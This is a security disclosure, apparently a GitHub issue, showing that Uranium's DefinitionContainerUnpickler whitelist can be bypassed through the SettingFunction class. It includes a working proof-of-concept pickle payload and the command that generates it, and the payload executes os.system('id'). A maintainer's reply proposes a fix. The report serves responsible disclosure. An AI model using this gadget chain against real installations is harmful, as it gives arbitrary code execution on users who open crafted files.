`DefinitionContainerUnpickler` is Bypassable

[splitline]

Overview

We have a DefinitionContainerUnpickler to provide a safe way to deserialize. But the whitelist seems not really safe and basically bypassable.

How to Bypass (PoC)

It allows several classes here, it checks strictly but still have a gadgets there: https://github.com/Ultimaker/Uranium/blob/851c7227617176a5ed51f36bc6b38b223dfeeaab/UM/Settings/DefinitionContainerUnpickler.py#L3-L10

I found a gadget in UM.Settings.SettingFunction.SettingFunction.

First thing we need to know is that pickle is not only able to call a function, but also can set attribute to any object. So we can modify the _code attribute of SettingFunction instance, then it'll get compiled and eval without checked by the ast checker (_SettingExpressionVisitor).

https://github.com/Ultimaker/Uranium/blob/851c7227617176a5ed51f36bc6b38b223dfeeaab/UM/Settings/SettingFunction.py#L155-L157

Here is a pseudocode for pickle:

from UM.Settings.DefinitionContainer import DefinitionContainer
from UM.Settings.SettingFunction import SettingFunction
s = SettingFunction('42')
s._valid = True
s._code = '__import__("os").system("id")'
s(DefinitionContainer('dummy'))

I use my toy compiler to generate the pickle bytecode. Exploits should execute a Python code: __import__('os').system('id').

PoC:

import io
from UM.Settings.DefinitionContainerUnpickler import DefinitionContainerUnpickler
pickle_bytecode = b'\x80\x04\x95\xc5\x00\x00\x00\x00\x00\x00\x00(\x8c\x1fUM.Settings.DefinitionContainer\x8c\x13DefinitionContainer\x93\x94\x8c\x1bUM.Settings.SettingFunction\x8c\x0fSettingFunction\x93\x94h\x01\x8c\x011\x85R\x94h\x02\x94\x88\x94h\x03(\x8c\x06_validh\x04db\x8c\x1d__import__("os").system("id")\x94h\x03(\x8c\x05_codeh\x05dbh\x03h\x00\x8c\x05dummy\x85R\x85R1N.'
DefinitionContainerUnpickler(io.BytesIO(pickle_bytecode)).load()

Bytecode is generated by command: python pickora.py -c "from UM.Settings.DefinitionContainer import DefinitionContainer; from UM.Settings.SettingFunction import SettingFunction; s = SettingFunction('1'); s._valid = True; s._code = '__import__(\"os\").system(\"id\")'; s(DefinitionContainer('dummy'))"

The Proper Way?

Check the safe_globals more strictly (?) Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when __setstate__ .

[rburema]

Thanks for the analysis!

Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when setstate .

Something like this perhaps? https://github.com/Ultimaker/Uranium/pull/832/commits/96e245d6a0a3d90a4e12a0ff768bbe52a9e2d4d7